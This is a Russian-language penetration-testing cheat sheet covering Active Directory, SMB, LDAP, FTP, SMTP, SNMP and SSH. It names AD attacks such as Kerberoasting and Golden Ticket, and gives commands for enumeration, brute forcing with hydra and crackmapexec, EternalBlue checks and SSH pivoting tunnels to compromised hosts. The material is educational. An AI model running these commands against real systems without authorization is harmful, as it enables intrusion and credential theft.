📌 Шпаргалка #21

Ч.2: Active Directory, Windows-сети, SMTP, SNMP

✍️ pentestudy 📅 30.03.2026

🏢 Что это

Вторая часть сетевых основ — протоколы и технологии, которые чаще всего встречаются в корпоративных сетях. Active Directory, SMB, LDAP, Kerberos — это хлеб пентестера при тестировании Windows-инфраструктуры. Большинство компаний в мире работают на Windows + AD.

📌 Active Directory — мозг Windows-сети

Что это

Active Directory (AD) — централизованная система управления пользователями, компьютерами и ресурсами в Windows-сетях. Один сервер (Domain Controller) контролирует кто куда может заходить, какие права имеет, какие политики действуют.

Аналогия: AD — это отдел кадров + охрана + IT-отдел в одном лице. Он знает всех сотрудников, их должности, в какие комнаты у кого есть доступ, и следит за соблюдением правил.

Основные компоненты

Domain Controller (DC) — сервер, на котором крутится AD. Хранит все учётные записи, пароли (в виде хешей), групповые политики. Компрометация DC = полный контроль над всей сетью.

Domain (Домен) — логическая группа компьютеров и пользователей. Например, corp.company.com. Все машины в домене подчиняются политикам DC.

Forest (Лес) — группа доменов с общей схемой. Один лес может содержать несколько доменов с доверительными отношениями.

Organizational Unit (OU) — контейнер для организации объектов внутри домена. "Отдел продаж", "IT-отдел", "Серверы" — разные OU с разными политиками.

Group Policy (GPO) — набор правил, применяемых к пользователям и компьютерам. Запрет USB, требования к паролю, автозапуск скриптов — всё через GPO.

Аутентификация в AD

NTLM (NT LAN Manager) — старый протокол аутентификации. Использует хеш пароля вместо самого пароля. Уязвим к Pass-the-Hash атаке — если ты получил хеш, можешь аутентифицироваться без знания пароля.

Kerberos — современный протокол аутентификации в AD.

Как работает Kerberos (упрощённо):

1. Пользователь вводит логин/пароль
2. Клиент отправляет запрос на DC (KDC — Key Distribution Center)
3. KDC возвращает TGT (Ticket Granting Ticket) — "паспорт"
4. Когда нужен доступ к ресурсу — клиент предъявляет TGT и получает сервисный тикет
5. Сервисный тикет предъявляется ресурсу (файл-серверу, базе данных)

Аналогия: приходишь на фестиваль, покупаешь браслет на входе (TGT). С браслетом подходишь к любой палатке и получаешь конкретный билет на аттракцион (сервисный тикет). Не нужно каждый раз показывать паспорт.

AD для пентестера — золотая цель

Распространённые атаки:

  • Kerberoasting — запрос сервисных тикетов для аккаунтов с SPN (Service Principal Name) и офлайн-взлом их хешей. Не требует привилегий — любой доменный пользователь может это сделать
  • AS-REP Roasting — атака на аккаунты без pre-authentication. Получаем хеш без аутентификации
  • Pass-the-Hash — используем NTLM-хеш вместо пароля для аутентификации
  • Pass-the-Ticket — используем украденный Kerberos-тикет для доступа к ресурсам
  • Golden Ticket — подделка TGT с помощью хеша аккаунта krbtgt. Даёт неограниченный доступ ко всему домену
  • Silver Ticket — подделка сервисного тикета для конкретного сервиса
  • DCSync — имитация репликации между DC для получения хешей всех паролей

Разведка AD:

# Из Linux с Kali
enum4linux -a TARGET_IP          # Сбор информации через SMB/LDAP
ldapsearch -x -H ldap://DC_IP   # Запрос LDAP-каталога
crackmapexec smb TARGET_IP       # Разведка SMB

⚡ SMB — файловые шары Windows

Что это

SMB (Server Message Block) — протокол для доступа к файлам, принтерам и ресурсам в Windows-сетях. Порт 445 (современный) и 139 (через NetBIOS, устаревший).

Аналогия: общая папка на работе, куда все могут складывать и забирать файлы. SMB — это протокол, который управляет этими общими папками.

Версии SMB

  • SMBv1 — старый, уязвимый. EternalBlue (MS17-010) через SMBv1 = WannaCry, NotPetya. Должен быть отключён
  • SMBv2 — улучшенный, но всё ещё есть уязвимости
  • SMBv3 — современный, с шифрованием

SMB для пентестера

# Перечисление шар (доступных папок)
smbclient -L //TARGET_IP -N        # -N = без пароля (null session)
 
# Подключение к шаре
smbclient //TARGET_IP/share_name
 
# Перечисление через Nmap
nmap --script smb-enum-shares TARGET_IP
 
# Проверка на EternalBlue
nmap --script smb-vuln-ms17-010 TARGET_IP
 
# Брутфорс SMB
crackmapexec smb TARGET_IP -u users.txt -p passwords.txt

Null Session — подключение без аутентификации. На старых системах позволяет получить список пользователей, шар, политик паролей.

🔍 LDAP — каталог сети

Что это

LDAP (Lightweight Directory Access Protocol) — протокол для доступа к каталогу (directory). Active Directory использует LDAP для хранения и поиска информации о пользователях, группах, компьютерах.

Порты: 389 (LDAP), 636 (LDAPS — с шифрованием), 3268 (Global Catalog), 3269 (Global Catalog SSL).

Аналогия: если AD — это библиотека, то LDAP — это каталог-картотека, по которой ты ищешь нужную книгу.

Структура LDAP

DC=corp,DC=company,DC=com          ← домен
├── OU=Users                        ← отдел "Пользователи"
│   ├── CN=John Smith               ← конкретный пользователь
│   └── CN=Admin                    ← ещё один пользователь
├── OU=Computers                    ← компьютеры
│   └── CN=WORKSTATION-01
└── OU=Groups                       ← группы
    └── CN=Domain Admins            ← группа администраторов
  • DC — Domain Component (часть домена)
  • OU — Organizational Unit (подразделение)
  • CN — Common Name (имя объекта)

LDAP для пентестера

# Анонимный запрос (если разрешён)
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=company,DC=com"
 
# Поиск пользователей
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=company,DC=com" "(objectClass=user)"
 
# Поиск админов
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=company,DC=com" "(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=company,DC=com)"

Если LDAP принимает анонимные запросы — можно получить полный список пользователей, групп, компьютеров без аутентификации.

⚡ FTP — передача файлов

Что это

FTP (File Transfer Protocol) — старый протокол для передачи файлов. Порт 21 (управление) и 20 (данные). Всё передаётся открытым текстом — логины, пароли, файлы.

Режимы FTP

  • Active mode — сервер подключается к клиенту для передачи данных (проблемы с NAT/файрволом)
  • Passive mode — клиент подключается к серверу (работает через NAT)

FTP для пентестера

# Подключение
ftp TARGET_IP
 
# Анонимный вход (если разрешён)
ftp TARGET_IP
# login: anonymous
# password: (пустой или email)
 
# Через Nmap
nmap --script ftp-anon TARGET_IP      # Проверка анонимного доступа
nmap --script ftp-brute TARGET_IP     # Брутфорс
 
# Проверка на уязвимости
nmap --script ftp-vuln* TARGET_IP

Anonymous FTP — если включён, любой может подключиться без пароля и скачивать/загружать файлы. На Metasploitable2 это включено.

vsftpd 2.3.4 backdoor — эта уязвимость легко эксплуатируется. Бэкдор активируется вводом :) в логине.

🔧 SMTP — отправка почты

Что это

SMTP (Simple Mail Transfer Protocol) — протокол для отправки электронной почты. Порт 25 (незашифрованный), 465 (SSL), 587 (TLS).

SMTP для пентестера

# Подключение через telnet
telnet TARGET_IP 25
 
# Команды SMTP
HELO test.com           # Приветствие
VRFY admin              # Проверить существует ли пользователь
EXPN admins             # Раскрыть список рассылки
MAIL FROM:<test@test.com>
RCPT TO:<admin@target.com>
DATA
Subject: Test
Hello!
.

VRFY — позволяет проверить существование пользователя. Если не отключена — можно перебирать имена пользователей.

Open Relay — SMTP-сервер, который пересылает почту от кого угодно кому угодно. Используется для спама и фишинга.

# Перечисление пользователей через Nmap
nmap --script smtp-enum-users TARGET_IP
 
# Проверка open relay
nmap --script smtp-open-relay TARGET_IP

🔍 SNMP — мониторинг сети

Что это

SNMP (Simple Network Management Protocol) — протокол для мониторинга и управления сетевыми устройствами. Порт 161 (UDP). Используется на роутерах, коммутаторах, принтерах, серверах.

Community Strings

SNMP использует "community strings" — по сути пароли в открытом тексте:

  • public — read-only (чтение). Дефолтное значение
  • private — read-write (чтение и запись). Дефолтное значение

Если дефолтные строки не изменены — любой может читать всю информацию об устройстве, а с private — ещё и менять конфигурацию.

Что можно получить через SNMP

  • Список запущенных процессов
  • Установленное ПО
  • Сетевые интерфейсы и IP-адреса
  • Таблица маршрутизации
  • Открытые TCP/UDP порты
  • Имена пользователей
  • Системная информация (ОС, аптайм, hostname)

SNMP для пентестера

# Перечисление с community string "public"
snmpwalk -v2c -c public TARGET_IP
 
# Конкретные данные
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.1     # Системная информация
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.25.4   # Запущенные процессы
 
# Брутфорс community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt TARGET_IP
 
# Через Nmap
nmap -sU -p 161 --script snmp-info TARGET_IP

SNMP v1/v2c — community strings передаются открытым текстом. Могут быть перехвачены. SNMP v3 — с аутентификацией и шифрованием. Более безопасная версия.

⚡ SSH — безопасный удалённый доступ

Что это

SSH (Secure Shell) — зашифрованный протокол для удалённого управления. Порт 22. Замена Telnet.

Аутентификация в SSH

По паролю — вводишь логин и пароль. Уязвимо к брутфорсу.

По ключу — генерируешь пару ключей (приватный + публичный). Публичный кладёшь на сервер, приватный храниш у себя. Это то, как подключаться к VPS.

# Генерация ключей
ssh-keygen -t ed***** -C "comment"
 
# Копирование публичного ключа на сервер
ssh-copy-id user@server
 
# Подключение с явным указанием ключа
ssh -i ~/.ssh/id_ed***** user@server

SSH для пентестера

# Брутфорс (как ты делал на Metasploitable)
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP
 
# Через Metasploit
use auxiliary/scanner/ssh/ssh_login
 
# Перечисление алгоритмов (для поиска слабых)
nmap --script ssh2-enum-algos TARGET_IP
 
# SSH-туннель (проброс порта)
ssh -L 8080:internal-server:80 user@gateway
# Теперь localhost:8080 → internal-server:80 через gateway

SSH-туннели — мощный инструмент пентестера. Позволяют получить доступ к внутренним сервисам через скомпрометированный хост:

# Локальный проброс — доступ к внутреннему сервису
ssh -L 3306:db-server:3306 user@compromised-host
# Теперь localhost:3306 → db-server:3306
 
# Динамический проброс (SOCKS-прокси)
ssh -D 9050 user@compromised-host
# Весь трафик через SOCKS на localhost:9050 пойдёт через compromised-host
 
# Обратный туннель — цель подключается к тебе
ssh -R 4444:localhost:4444 user@attacker-server

🛡 Сетевые устройства

Файрвол (Firewall)

Фильтрует трафик по правилам: разрешить/запретить определённые IP, порты, протоколы.

Типы:

  • Packet filter — проверяет заголовки пакетов (IP, порт). Быстрый, но простой. Пример: iptables
  • Stateful — отслеживает состояние соединений. Знает, что ответный пакет связан с исходящим запросом
  • Application layer (WAF) — проверяет содержимое на уровне приложения. Может блокировать SQL injection, XSS

IDS/IPS

  • IDS (Intrusion Detection System) — обнаруживает атаки и оповещает. Как сигнализация — пищит, но не останавливает
  • IPS (Intrusion Prevention System) — обнаруживает и блокирует. Как сигнализация + автоматическая блокировка дверей

Примеры: Snort, Suricata, Fail2Ban (блокирует IP после нескольких неудачных попыток входа).

Прокси-сервер

Посредник между клиентом и сервером:

  • Forward proxy — клиент → прокси → интернет. Корпоративная фильтрация (например, Zscaler, который можно найти через Shodan)
  • Reverse proxy — интернет → прокси → внутренний сервер. Например, Caddy/Nginx/Traefik — это reverse proxy

VPN

Создаёт зашифрованный туннель. Типы:

  • Site-to-Site — соединяет две сети (офис с офисом)
  • Remote Access — удалённый пользователь подключается к сети (например, Tailscale)

Протоколы: WireGuard, OpenVPN, IPsec, VLESS+XTLS-Reality (для VPN сервисов).

🔧 Сетевые утилиты — инструментарий

Базовые команды

# Информация о своих интерфейсах
ip a                    # Linux (современный)
ifconfig                # Linux (устаревший)
ipconfig                # Windows
 
# Таблица маршрутизации
ip route show           # Linux
route print             # Windows
 
# DNS-запросы
nslookup domain.com
dig domain.com
host domain.com
 
# Проверка соединения
ping TARGET_IP
traceroute TARGET_IP    # Linux
tracert TARGET_IP       # Windows
 
# Открытые порты на своей машине
ss -tlnp                # Linux
netstat -an             # Windows/Linux
 
# ARP-таблица
arp -a
ip neigh show
 
# Кто слушает на порту
lsof -i :80             # Linux

Продвинутые инструменты

# Перехват трафика
tcpdump -i eth0 port 80                # CLI
wireshark                                # GUI
 
# Сканирование сети
nmap -sV -p- TARGET_IP                  # Полный скан
masscan -p1-65535 TARGET_IP --rate=1000 # Быстрый скан
 
# DNS-разведка
fierce --domain target.com              # Перебор поддоменов
dnsrecon -d target.com                  # DNS-разведка
 
# SMB-разведка
enum4linux -a TARGET_IP
crackmapexec smb TARGET_IP
 
# SNMP-разведка
snmpwalk -v2c -c public TARGET_IP

🧠 Готовые комбо

Полная разведка цели:

ping TARGET → жив? → nmap -sV -O -p- TARGET → порты и сервисы → searchsploit SERVICE VERSION → эксплойты → dig/nslookup → DNS-разведка → whois → владелец

Разведка Windows-домена:

nmap -p 88,135,139,389,445,636,3268 TARGET → AD? → enum4linux -a TARGET → пользователи, шары → ldapsearch → каталог → crackmapexec smb TARGET → SMB-разведка

Порты → технология:

22 → Linux/SSH. 445 → Windows/SMB. 88 → Kerberos/AD. 389 → LDAP. 3389 → RDP.
53 → DNS. 25 → SMTP. 161 → SNMP. 3306 → MySQL. 6379 → Redis.

Определение "это AD?" по открытым портам:

88 (Kerberos) + 389 (LDAP) + 445 (SMB) + 135 (RPC) + 636 (LDAPS) = почти точно Domain Controller

⚠️ Важные моменты

  • Active Directory — приоритетная цель в корпоративном пентесте. Компрометация DC = контроль над всей сетью. Большинство корпоративных пентестов заканчиваются именно на AD
  • SMB порт 445 — самый опасный порт Windows. EternalBlue, WannaCry, NotPetya — всё через 445. Если видишь открытый 445 — проверяй MS17-010 первым делом
  • NTLM-хеши не нужно расшифровывать. Pass-the-Hash позволяет аутентифицироваться самим хешем. Это уникальная особенность Windows-сетей
  • SNMP с community string "public" — это как пароль "password". Но встречается повсеместно на сетевых устройствах
  • SSH-туннели — главный инструмент для pivoting. После компрометации одного хоста — через него пробрасываешь доступ ко всей внутренней сети
  • Kerberos-тикеты живут 10 часов. Украденный тикет действителен ограниченное время, но Golden Ticket можно сделать на 10 лет
  • LDAP часто принимает анонимные запросы. Первым делом проверяй — если работает без пароля, получишь полный каталог домена бесплатно
  • FTP — всё открытым текстом. Если перехватишь FTP-трафик — увидишь логины, пароли и файлы в чистом виде
Содержание
🏢 Что это 📌 Active Directory — мозг Windows-сети Что это Основные компоненты Аутентификация в AD AD для пентестера — золотая цель ⚡ SMB — файловые шары Windows Что это Версии SMB SMB для пентестера 🔍 LDAP — каталог сети Что это Структура LDAP LDAP для пентестера ⚡ FTP — передача файлов Что это Режимы FTP FTP для пентестера 🔧 SMTP — отправка почты Что это SMTP для пентестера 🔍 SNMP — мониторинг сети Что это Community Strings Что можно получить через SNMP SNMP для пентестера ⚡ SSH — безопасный удалённый доступ Что это Аутентификация в SSH SSH для пентестера 🛡 Сетевые устройства Файрвол (Firewall) IDS/IPS Прокси-сервер VPN 🔧 Сетевые утилиты — инструментарий Базовые команды Продвинутые инструменты 🧠 Готовые комбо ⚠️ Важные моменты